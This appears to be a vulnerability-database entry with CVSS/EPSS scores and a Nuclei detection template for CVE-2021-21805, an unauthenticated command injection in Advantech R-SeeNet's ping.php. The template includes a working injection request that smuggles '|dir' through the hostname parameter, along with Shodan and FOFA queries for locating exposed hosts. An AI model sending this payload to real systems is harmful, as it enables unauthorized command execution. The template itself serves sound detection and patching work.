10 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
0.971 High
EPSS
Percentile
99.8%
Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
id: CVE-2021-21805
info:
name: Advantech R-SeeNet 2.4.12 - OS Command Injection
author: arafatansari
severity: critical
description: |
Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
remediation: |
Update to the latest version of Advantech R-SeeNet to mitigate this vulnerability.
reference:
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805
- https://nvd.nist.gov/vuln/detail/CVE-2021-21805
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-21805
cwe-id: CWE-78
epss-score: 0.97374
epss-percentile: 0.99895
cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: advantech
product: r-seenet
shodan-query:
- http.html:"R-SeeNet"
- http.html:"r-seenet"
fofa-query: body="r-seenet"
tags: cve2021,cve,rce,r-seenet,advantech
http:
- method: GET
path:
- "{{BaseURL}}/php/ping.php?hostname=|dir"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<title>Ping |dir</title>"
- "bottom.php"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100f0b6d69003ca5b5505cd8a66ec57f71a8115dcd56caf54bdb39ac3a9cc6cef3f022100b79c69e7a4c280e5bb0820f9872a8a7db6c0b917e7aca6fdf625f52df255648c:922c64590222798bb761d5b6d8e72950
10 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
0.971 High
EPSS
Percentile
99.8%